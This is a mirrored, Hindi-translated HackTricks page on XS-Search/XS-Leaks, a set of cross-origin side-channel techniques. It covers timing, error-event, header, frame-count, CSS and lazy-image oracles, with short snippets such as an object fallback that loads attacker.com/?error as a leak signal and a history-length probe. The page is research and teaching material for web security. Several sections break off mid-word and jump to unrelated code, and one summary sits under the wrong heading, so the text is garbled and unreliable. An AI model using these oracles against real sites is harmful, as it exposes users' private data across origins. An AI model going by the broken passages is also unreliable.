mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00

Translator fc1f722743 Translated ['pentesting-web/browser-extension-pentesting-methodology/REA

2023-12-31 07:08:04 +00:00

62 KiB

Raw Blame History

XS-Search/XS-Leaks

Trickest का उपयोग करके आसानी से वर्कफ्लोज़ को ऑटोमेट करें जो दुनिया के सबसे उन्नत समुदाय टूल्स द्वारा संचालित होते हैं।
आज ही एक्सेस प्राप्त करें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

AWS हैकिंग सीखें शून्य से नायक तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
💬 Discord group में शामिल हों या telegram group में या Twitter पर मुझे 🐦 @carlospolopm का अनुसरण करें।
अपनी हैकिंग ट्रिक्स साझा करें HackTricks और HackTricks Cloud github repos में PRs सबमिट करके।

मूल जानकारी

XS-Search एक तकनीक है जो क्रॉस-ओरिजिन जानकारी को एक्सफिल्ट्रेट करने के लिए साइड चैनल अटैक्स का दुरुपयोग करती है।

इस प्रकार के हमले में विभिन्न तत्व होते हैं:

असुरक्षित वेब: वह वेब जहां से हम कुछ जानकारी निकालना चाहते हैं
हमलावर का वेब: वह वेब जिसे हमलावर बनाता है जिसमें एक्सप्लॉइट होता है और जिसे पीड़ित एक्सेस करता है
इनक्लूजन मेथड: वह विधि जिसका उपयोग करके हमलावर के वेब से असुरक्षित वेब को लोड किया जाता है (जैसे window.open, iframe, fetch, href के साथ HTML टैग...)
लीक तकनीक: असुरक्षित वेब तक पहुंचने के बाद, इनक्लूजन मेथड से प्राप्त जानकारी के साथ वेब की संभावित स्थिति के बीच अंतर करने के लिए एक तकनीक का उपयोग किया जाएगा।
स्थितियां: वे 2 संभावित स्थितियां जो असुरक्षित वेब की हो सकती हैं जिन्हें हम पीड़ित के आधार पर अंतर करना चाहते हैं।
पता लगाने योग्य अंतर: यह वह जानकारी है जिसका उपयोग हमलावर को असुरक्षित वेब की स्थिति का निर्णय करने के लिए करना होता है।

पता लगाने योग्य अंतर

असुरक्षित पृष्ठ की 2 स्थितियों के बीच अंतर करने के लिए कई चीजों को देखा जा सकता है:

स्टेटस कोड। एक हमलावर क्रॉस-ओरिजिन विभिन्न HTTP प्रतिक्रिया स्थिति कोडों को अंतर कर सकता है (उदाहरण के लिए, सर्वर त्रुटियां, ग्राहक त्रुटियां, या प्रमाणीकरण त्रुटियां)।
API उपयोग। यह पता लगाने योग्य अंतर एक हमलावर को पृष्ठों के बीच Web APIs’ उपयोग का पता लगाने की अनुमति देता है, जिससे एक हमलावर यह अनुमान लगा सकता है कि क्या एक क्रॉस-ओरिजिन पृष्ठ एक विशेष JavaScript Web API का उपयोग कर रहा है।
रीडायरेक्ट्स। यह संभव है कि यदि एक वेब एप्लिकेशन ने उपयोगकर्ता को एक अलग पृष्ठ पर नेविगेट किया है का पता लगाया जा सकता है। यह केवल HTTP रीडायरेक्ट्स तक सीमित नहीं है बल्कि JavaScript या HTML द्वारा ट्रिगर किए गए रीडायरेक्ट्स को भी शामिल करता है।
पृष्ठ सामग्री। ये पता लगाने योग्य अंतर HTTP प्रतिक्रिया शरीर में स्वयं या पृष्ठ द्वारा शामिल किए गए उप-संसाधनों में प्रकट होते हैं। उदाहरण के लिए, यह शामिल फ्रेमों की संख्या हो सकती है (cf. XS-Leak on Gitlab) या छवियों के आकार के अंतर।
HTTP हेडर। एक हमलावर एक विशेष HTTP प्रतिक्रिया हेडर की उपस्थिति का पता लगा सकता है और उसके मूल्य को एकत्र करने में सक्षम हो सकता है। इसमें X-Frame-Options, Content-Disposition, और Cross-Origin-Resource-Policy जैसे हेडर शामिल हैं।
समय: एक हमलावर यह पता लगा सकता है कि 2 स्थितियों के बीच एक सुसंगत समय अंतर मौजूद है।

इनक्लूजन मेथड

HTML तत्व। HTML विभिन्न तत्व प्रदान करता है जो क्रॉस-ओरिजिन संसाधन इनक्लूजन को सक्षम करते हैं। स्टाइलशीट्स, इमेजेज, या स्क्रिप्ट्स जैसे तत्व, पीड़ित के ब्राउज़र को एक निर्दिष्ट गैर-HTML संसाधन के लिए अनुरोध करने के लिए मजबूर करते हैं। इस उद्देश्य के लिए संभावित HTML तत्वों की एक सूची ऑनलाइन उपलब्ध है (https://github.com/cure53/HTTPLeaks)।
फ्रेम्स। जैसे iframe, object, और embed तत्व आगे HTML संसाधनों को सीधे हमलावर पृष्ठ में एम्बेड कर सकते हैं। यदि पृष्ठ फ्रेमिंग सुरक्षा का उपयोग नहीं करता है, तो JavaScript कोड contentWindow प्रॉपर्टी के माध्यम से फ्रेम्ड संसाधन की विंडो ऑब्जेक्ट तक पहुंच सकता है।
पॉप-अप्स। window.open मेथड एक नए ब्राउज़र टैब या विंडो में एक संसाधन को लोड करता है। मेथड एक विंडो हैंडल वापस करता है जिसे JavaScript कोड SOP के अनुरूप तरीकों और गुणों तक पहुंचने के लिए उपयोग कर सकता है। इन्हें पॉप-अप्स कहा जाता है और अक्सर एकल साइन-ऑन में उपयोग किया जाता है। आधुनिक ब्राउज़र केवल तभी पॉप-अप्स की अनुमति देते हैं जब वे कुछ उपयोगकर्ता इंटरैक्शन द्वारा ट्रिगर किए जाते हैं। XS-Leak हमलों के लिए, यह मेथड विशेष रूप से सहायक है क्योंकि यह एक लक्ष्य संसाधन के लिए फ्रेमिंग और कुकी प्रतिबंधों को बायपास करता है। नए ब्राउज़र संस्करणों ने हाल ही में विंडो हैंडल को अलग करने के तरीके जोड़े हैं।
JavaScript अनुरोध। JavaScript लक्ष्य संसाधनों को सीधे अनुरोध भेजने की अनुमति देता है। इस उद्देश्य के लिए दो अलग-अल

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

इस मामले में यदि `example.com/404` नहीं मिला तो `attacker.com/?error` लोड होगा।

### Onload Timing

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Timing (आमतौर पर Page Content, Status Code के कारण)
* **अधिक जानकारी**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **सारांश:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** का उपयोग करके यह मापा जा सकता है कि किसी अनुरोध को पूरा करने में कितना समय लगता है। हालांकि, अन्य घड़ियाँ भी उपयोग की जा सकती हैं, जैसे कि [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) जो 50ms से अधिक समय तक चलने वाले कार्यों की पहचान कर सकती है।
* **कोड उदाहरण**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) एक और उदाहरण:

{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}

#### Onload Timing + Forced Heavy Task

यह तकनीक पिछली तकनीक की तरह ही है, लेकिन **attacker** यह भी **force** करेगा कि कुछ क्रिया **relevant amount time** लेगी जब **answer positive or negative** हो और उस समय को मापेगा।

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}

### unload/beforeunload Timing

* **Inclusion Methods**: Frames
* **Detectable Difference**: Timing (आमतौर पर Page Content, Status Code के कारण)
* **अधिक जानकारी**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **सारांश:** [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) का उपयोग करके यह मापा जा सकता है कि किसी अनुरोध को पूरा करने में कितना समय लगता है। अन्य घड़ियाँ भी उपयोग की जा सकती हैं।
* **कोड उदाहरण**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)

[`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) और [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) घटनाओं का उपयोग करके संसाधन प्राप्त करने में लगने वाले समय को मापा जा सकता है। यह काम करता है क्योंकि **`beforeunload`** तब ट्रिगर होता है जब ब्राउज़र **नई नेविगेशन** अनुरोध करता है, जबकि **`unload`** तब ट्रिगर होता है जब वह **नेविगेशन वास्तव में होता है**। इस व्यवहार के कारण, इन दो घटनाओं के बीच समय अंतर की गणना करके यह मापा जा सकता है कि **ब्राउज़र को संसाधन प्राप्त करने में कितना समय लगा**।

### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>

* **Inclusion Methods**: Frames
* **Detectable Difference**: Timing (आमतौर पर Page Content, Status Code के कारण)
* **अधिक जानकारी**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **सारांश:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API का उपयोग करके यह मापा जा सकता है कि किसी अनुरोध को पूरा करने में कितना समय लगता है। अन्य घड़ियाँ भी उपयोग की जा सकती हैं।
* **कोड उदाहरण**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)

यदि किसी पृष्ठ में [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) लागू नहीं किए गए हैं, तो एक attacker समय माप सकता है कि पृष्ठ और सभी सबरिसोर्सेज को नेटवर्क पर लोड होने में कितना समय लगता है। डिफ़ॉल्ट रूप से, एक iframe के लिए `onload` हैंडलर सभी संसाधनों के लोड होने के बाद और सभी जावास्क्रिप्ट के पूरा होने के बाद आमंत्रित किया जाता है। लेकिन, एक attacker `<iframe>` में [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) विशेषता को शामिल करके स्क्रिप्ट निष्पादन के शोर को समाप्त कर सकता है। यह विशेषता जावास्क्रिप्ट निष्पादन सहित कई विशेषताओं को अवरुद्ध करती है, जिसके परिणामस्वरूप लगभग शुद्ध नेटवर्क माप होता है।

### #ID + error + onload

* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **अधिक जानकारी**:
* **सारांश**: यदि आप पृष्ठ को त्रुटि के साथ बना सकते हैं जब सही सामग्री तक पहुँचा जाता है और इसे सही ढंग से लोड कर सकते हैं जब कोई भी सामग्री तक पहुँचा जाता है, तो आप समय को मापे बिना सभी जानकारी को निकालने के लिए एक लूप बना सकते हैं।
* **कोड उदाहरण**:

मान लीजिए कि आप **पृष्ठ** को **अंदर एक Iframe** में **डाल** सकते हैं जिसमें **गुप्त** सामग्री है।

आप **पीड़ित को खोज** करने के लिए बना सकते हैं जिसमें "_**flag**_" शामिल है एक **Iframe** का उपयोग करके (उदाहरण के लिए CSRF का शोषण करते हुए)। Iframe के अंदर आप जानते हैं कि _**onload event**_ हमेशा कम से कम एक बार **निष्पादित किया जाएगा**। फिर, आप **URL** को **बदल** सकते हैं **iframe** का लेकिन केवल URL के **hash** के **सामग्री** को बदलकर।

उदाहरण के लिए:

1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2

यदि पहला URL **सफलतापूर्वक लोड किया गया** था, तो, जब **hash** का हिस्सा URL को **बदलते** हैं तो **onload** घटना **फिर से ट्रिगर नहीं होगी**। लेकिन **यदि** पृष्ठ में किसी प्रकार की **त्रुटि** थी जब **लोडिंग**, तो, **onload** घटना **फिर से ट्रिगर होगी**।

फिर, आप **भेद कर सकते हैं** एक **सही ढंग से** लोड किए गए पृष्ठ या पृष्ठ के बीच जिसमें एक **त्रुटि** है जब इसे एक्सेस किया जाता है।

### Javascript Execution

* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **अधिक जानकारी**:
* **सारांश:** यदि **पृष्ठ** **संवेदनशील** सामग्री **वापस कर रहा है**, **या** एक **सामग्री** जिसे उपयोगकर्ता द्वारा **नियंत्रित** किया जा सकता है। उपयोगकर्ता **नकारात्मक मामले में मान्य JS कोड सेट कर सकता है**, और **प्रत्येक प्रयास को `<script>` टैग के अंदर लोड कर सकता है**, इसलिए **नकारात्मक** मामलों में attackers **कोड** **निष्पादित किया जाएगा,** और **सकारात्मक** मामलों में **कुछ भी** नहीं होगा।
* **कोड उदाहरण**:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
{% endcontent-ref %}

### CORB - Onerror

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Status Code & Headers
* **अधिक जानकारी**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **सारांश**: Attackers यह देख सकते हैं कि CORB लागू होता है या नहीं यदि कोई प्रतिक्रिया _CORB संरक्षित_ `Content-Type` (और `nosniff`) के साथ `2xx` स्थिति कोड वापस करती है जिसके परिणामस्वरूप CORB शरीर और हेडर्स को प्रतिक्रिया से हटा देता है। इस संरक्षण का पता लगाने से एक attacker को **leak** करने की अनुमति मिलती है दोनों का संयोजन **स्थिति कोड** (स
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

CORS त्रुटि

शामिल करने की विधियाँ: Fetch API
पता लगाने योग्य अंतर: हैडर
अधिक जानकारी: https://xsinator.com/paper.pdf (5.3)
सारांश: SA CORS त्रुटि संदेश पुनर्निर्देशित के पूर्ण URL को लीक करते हैं।
कोड उदाहरण: https://xsinator.com/testing.html#CORS%20Error%20Leak

यह तकनीक हमलावर को एक पुनर्निर्देशित के लक्ष्य को लीक करने की अनुमति देती है जो कि एक क्रॉस-ओरिजिन साइट द्वारा प्रारंभ की गई है।

CORS सार्वजनिक रूप से सुलभ वेब संसाधनों को किसी भी वेबसाइट से पढ़ने और उपयोग करने की अनुमति देता है। Webkit-आधारित ब्राउज़रों में, जब एक CORS अनुरोध विफल होता है तो CORS त्रुटि संदेशों तक पहुँचना संभव है। एक हमलावर एक लक्ष्य वेबसाइट पर एक CORS-सक्षम अनुरोध भेज सकता है जो उपयोगकर्ता की स्थिति के आधार पर पुनर्निर्देशित करता है। जब ब्राउज़र अनुरोध को अस्वीकार करता है, तो पुनर्निर्देशित लक्ष्य का पूर्ण URL त्रुटि संदेश में लीक हो जाता है। इस हमले के साथ, पुनर्निर्देशित स्थानों का पता लगाना, लीक करना और संवेदनशील क्वेरी पैरामीटर्स का पता लगाना संभव है।

SRI त्रुटि

शामिल करने की विधियाँ: Fetch API
पता लगाने योग्य अंतर: हैडर
अधिक जानकारी: https://xsinator.com/paper.pdf (5.3)
सारांश: SA CORS त्रुटि संदेश पुनर्निर्देशित के पूर्ण URL को लीक करते हैं।
कोड उदाहरण: https://xsinator.com/testing.html#SRI%20Error%20Leak

एक हमलावर विस्तृत त्रुटि संदेशों के कारण क्रॉस-ओरिजिन प्रतिक्रियाओं के आकार को लीक कर सकता है।

CSP उल्लंघन/पता लगाना

शामिल करने की विधियाँ: पॉप-अप्स
पता लगाने योग्य अंतर: स्टेटस कोड
अधिक जानकारी: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
सारांश: केवल पीड़ित की वेबसाइट को CSP में अनुमति देने पर, यदि हमने इसे एक्सेस किया और यह एक अलग डोमेन पर पुनर्निर्देशित करने की कोशिश करता है, तो CSP एक पता लगाने योग्य त्रुटि को ट्रिगर करेगा।
कोड उदाहरण: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation

कैश

शामिल करने की विधियाँ: फ्रेम्स, पॉप-अप्स
पता लगाने योग्य अंतर: पेज सामग्री
अधिक जानकारी: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
सारांश: कैश से फाइल को साफ करें। लक्ष्य पृष्ठ खोलें और जांचें कि क्या फाइल कैश में मौजूद है।
कोड उदाहरण:

CSP निर्देश

शामिल करने की विधियाँ: फ्रेम्स
पता लगाने योग्य अंतर: हैडर
अधिक जानकारी: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
सारांश: CSP हैडर निर्देशों को CSP iframe विशेषता के साथ जांचा जा सकता है।
कोड उदाहरण: https://xsinator.com/testing.html#CSP%20Directive%20Leak

CORP

शामिल करने की विधियाँ: Fetch API
पता लगाने योग्य अंतर: हैडर
अधिक जानकारी: https://xsleaks.dev/docs/attacks/browser-features/corp/
सारांश: CORP से सुरक्षित संसाधन जब फेच किया जाता है तो त्रुटि फेंकता है।
कोड उदाहरण: https://xsinator.com/testing.html#CORP%20Leak

CORB

शामिल करने की विधियाँ: HTML तत्व
पता लगाने योग्य अंतर: हैडर्स
अधिक जानकारी: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
सारांश: CORB हमलावरों को यह पता लगाने की अनुमति दे सकता है कि क्या nosniff हैडर अनुरोध में मौजूद है।
कोड उदाहरण: https://xsinator.com/testing.html#CORB%20Leak

CORS त्रुटि ऑन ओरिजिन रिफ्लेक्शन मिसकॉन्फिगरेशन

शामिल करने की विधियाँ: Fetch API
पता लगाने योग्य अंतर: हैडर्स
अधिक जानकारी: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
सारांश: यदि Origin हैडर को हैडर Access-Control-Allow-Origin में प्रतिबिंबित किया जाता है तो यह संभव है कि यह जांचें कि क्या कोई संसाधन पहले से कैश में है।
कोड उदाहरण: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration

Readable Attributes Technique

Fetch Redirect

शामिल करने की विधियाँ: Fetch API
पता लगाने योग्य अंतर: स्टेटस कोड
अधिक जानकारी: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
सारांश: GC और SA पुनर्निर्देशन समाप्त होने के बाद प्रतिक्रिया के प्रकार (opaque-redirect) की जांच करने की अनुमति देते हैं।
कोड उदाहरण: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak

COOP

शामिल करने की विधियाँ: पॉप-अप्स
पता लगाने योग्य अंतर: हैडर
अधिक जानकारी: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
सारांश: COOP से सुरक्षित पृष्ठों को एक्सेस नहीं किया जा सकता।
कोड उदाहरण: https://xsinator.com/testing.html#COOP%20Leak

URL अधिकतम लंबाई - सर्वर साइड

शामिल करने की विधियाँ: Fetch API, HTML तत्व
पता लगाने योग्य अंतर: स्टेटस कोड / सामग्री
अधिक जानकारी: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
सारांश: पुनर्निर्देशन प्रतिक्रिया की लंबाई बहुत बड़ी हो सकती है कि सर्वर एक त्रुटि के साथ जवाब देता है और एक अलर्ट उत्पन्न होता है।
कोड उदाहरण: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak

URL अधिकतम लंबाई - क्लाइंट स

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

फ्रेम गिनती

शामिल करने की विधियाँ: फ्रेम, पॉप-अप्स
पता लगाने योग्य अंतर: पेज सामग्री
अधिक जानकारी: https://xsleaks.dev/docs/attacks/frame-counting/
सारांश: फ्रेमों की संख्या पढ़ें (window.length).
कोड उदाहरण: https://xsinator.com/testing.html#Frame%20Count%20Leak

iframe या window.open के माध्यम से खोले गए वेब में फ्रेमों की संख्या गिनना उस पेज पर उपयोगकर्ता की स्थिति की पहचान करने में मदद कर सकता है।
इसके अलावा, यदि पेज में हमेशा समान संख्या में फ्रेम होते हैं, तो निरंतर फ्रेमों की संख्या की जाँच करने से एक पैटर्न की पहचान करने में मदद मिल सकती है जो जानकारी का लीक कर सकता है।

इस तकनीक का एक उदाहरण यह है कि क्रोम में, एक PDF को फ्रेम गिनती के माध्यम से पता लगाया जा सकता है क्योंकि आंतरिक रूप से embed का उपयोग किया जाता है। Open URL Parameters हैं जो सामग्री पर कुछ नियंत्रण की अनुमति देते हैं जैसे कि zoom, view, page, toolbar जहाँ यह तकनीक दिलचस्प हो सकती है।

HTMLElements

शामिल करने की विधियाँ: HTML तत्व
पता लगाने योग्य अंतर: पेज सामग्री
अधिक जानकारी: https://xsleaks.dev/docs/attacks/element-leaks/
सारांश: 2 संभावित स्थितियों के बीच अंतर करने के लिए लीक हुई मान को पढ़ें
कोड उदाहरण: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak

कुछ वेबपेज उपयोगकर्ता की जानकारी के आधार पर गतिशील रूप से मीडिया फाइलें उत्पन्न कर सकते हैं या वॉटरमार्क जोड़ सकते हैं जो मीडिया का आकार बदलते हैं। एक हमलावर इन HTML तत्वों द्वारा लीक की गई जानकारी का उपयोग संभावित स्थितियों के बीच अंतर करने के लिए कर सकता है।

कुछ HTMLElements क्रॉस-ओरिजिन को जानकारी लीक करेंगे जैसे कि वे किस प्रकार के मीडिया हैं:

HTMLMediaElement मीडिया duration और buffered समय लीक करता है।
HTMLVideoElement videoHeight और videoWidth लीक करता है कुछ ब्राउज़रों में webkitVideoDecodedByteCount, webkitAudioDecodedByteCount और webkitDecodedFrameCount भी हो सकते हैं।
getVideoPlaybackQuality() totalVideoFrames लीक करता है।
HTMLImageElement height और width लीक करता है लेकिन यदि छवि अमान्य है तो वे 0 होंगे और image.decode() अस्वीकृत हो जाएगा।

CSS संपत्ति

शामिल करने की विधियाँ: HTML तत्व
पता लगाने योग्य अंतर: पेज सामग्री
अधिक जानकारी: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
सारांश: उपयोगकर्ता की स्थिति के आधार पर वेबसाइट स्टाइलिंग का पता लगाएं।
कोड उदाहरण: https://xsinator.com/testing.html#CSS%20Property%20Leak

वेब एप्लिकेशन उपयोगकर्ता की स्थिति के आधार पर वेबसाइट स्टाइलिंग बदल सकते हैं। क्रॉस-ओरिजिन CSS फाइलों को HTML लिंक तत्व के साथ हमलावर पेज पर एम्बेड किया जा सकता है, और नियम हमलावर पेज पर लागू किए जाएंगे। यदि कोई पेज इन नियमों को गतिशील रूप से बदलता है, तो हमलावर उपयोगकर्ता की स्थिति के आधार पर इन अंतरों का पता लगा सकता है।
एक लीक तकनीक के रूप में, हमलावर window.getComputedStyle विधि का उपयोग करके एक विशिष्ट HTML तत्व की CSS संपत्तियों को पढ़ सकता है। नतीजतन, यदि प्रभावित तत्व और संपत्ति का नाम ज्ञात है तो हमलावर मनमानी CSS संपत्तियों को पढ़ सकता है।

CSS इतिहास

शामिल करने की विधियाँ: HTML तत्व
पता लगाने योग्य अंतर: पेज सामग्री
अधिक जानकारी: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
सारांश: पता लगाएं कि क्या :visited शैली किसी URL पर लागू की गई है जिसका अर्थ है कि इसे पहले ही देखा जा चुका है
कोड उदाहरण: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html

{% hint style="info" %} इस के अनुसार, यह हेडलेस क्रोम में काम नहीं कर रहा है। {% endhint %}

CSS :visited सेलेक्टर का उपयोग करके, यह संभव है कि देखे गए URL के लिए एक अलग शैली लागू की जाए।
पहले getComputedStyle() का उपयोग करके इस अंतर का पता लगाना संभव था लेकिन अब ब्राउज़र इसे रोकते हैं और हमेशा मान वापस करते हैं जैसे कि लिंक देखा गया था और सेलेक्टर का उपयोग करके लागू की जा सकने वाली शैलियों को सीमित करते हैं।
इसलिए, उपयोगकर्ता को उस क्षेत्र पर क्लिक करने के लिए चालाकी करने की जरूरत हो सकती है जिसे CSS ने प्रभावित किया है इसे mix-blend-mode का उपयोग करके किया जा सकता है।
बिना उपयोगकर्ता की बातचीत के ऐसा करने के तरीके भी हैं जैसे कि रेंडर समय का दुरुपयोग करना यह काम करता है क्योंकि लिंक को अलग रंग में पेंट करने में समय लगता है।
क्रोमियम रिपोर्ट पर एक PoC प्रदान किया गया था जो समय अंतर बढ़ाने के लिए कई लिंक का उपयोग करके काम करता है।

ContentDocument X-Frame Leak

शामिल करने की विधियाँ: फ्रेम
पता लगाने योग्य अंतर: हेडर्स
अधिक जानकारी: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
सारांश: GC में, जब किसी पेज को क्रॉस-ओरिजिन पेज पर एम्बेड करने की अनुमति नहीं होती है क्योंकि X-Frame-Options के कारण, एक त्रुटि पेज दिखाया जाता है।
कोड उदाहरण: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak

क्रोम में, जब किसी पेज को क्रॉस-ओरिजिन पेज पर एम्बेड करने की अनुम

<img src=/something loading=lazy >

इसलिए, आप जो कर सकते हैं वह है बहुत सारे बेकार अक्षर जोड़ना (उदाहरण के लिए हजारों "W"), ताकि वेब पेज को भर दें सीक्रेट से पहले या कुछ ऐसा जोड़ें <br><canvas height="1850px"></canvas><br>.
फिर अगर उदाहरण के लिए हमारा injection फ्लैग से पहले दिखाई देता है, तो इमेज लोड हो जाएगी, लेकिन अगर यह फ्लैग के बाद आता है, तो फ्लैग + बेकार की चीजें इसे लोड होने से रोक देंगी (आपको यह देखना होगा कि कितना बेकार डालना है). यही इस राइटअप में हुआ था।

एक और विकल्प हो सकता है scroll-to-text-fragment का उपयोग करना, अगर अनुमति हो:

Scroll-to-text-fragment

हालांकि, आप बॉट को पेज एक्सेस कराते हैं कुछ इस तरह से

#:~:text=SECR

वेब पेज कुछ इस प्रकार होगा: https://victim.com/post.html#:~:text=SECR

जहां post.html में हमलावर के जंक अक्षर और आलसी लोड इमेज होती है और फिर बॉट का रहस्य जोड़ा जाता है।

यह पाठ बॉट को पेज में किसी भी पाठ को एक्सेस करने के लिए मजबूर करेगा जिसमें SECR टेक्स्ट होता है। चूंकि यह टेक्स्ट रहस्य है और यह सिर्फ इमेज के नीचे है, इमेज केवल तभी लोड होगी जब अनुमानित रहस्य सही होगा। इसलिए आपके पास रहस्य को अक्षर दर अक्षर बाहर निकालने के लिए एक ओरेकल है।

इसका लाभ उठाने के लिए कुछ कोड उदाहरण: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

इमेज आलसी लोडिंग समय आधारित

यदि बाहरी इमेज को लोड करना संभव नहीं है जो हमलावर को यह संकेत दे सकता है कि इमेज लोड हो गई है, तो एक और विकल्प होगा कि कई बार अक्षर का अनुमान लगाएं और उसे मापें। यदि इमेज लोड हो जाती है तो सभी अनुरोध उस समय से अधिक समय लेंगे जब इमेज लोड नहीं होती है। यही विधि इस राइटअप के समाधान में प्रयोग की गई थी यहां संक्षेप में बताया गया है:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

यदि jQuery(location.hash) का उपयोग किया जाता है, तो समय के माध्यम से पता लगाना संभव है कि कुछ HTML सामग्री मौजूद है या नहीं, यह इसलिए है क्योंकि यदि सिलेक्टर main[id='site-main'] मेल नहीं खाता है तो इसे बाकी सिलेक्टर्स की जांच नहीं करनी पड़ती है:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS इंजेक्शन

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

बचाव

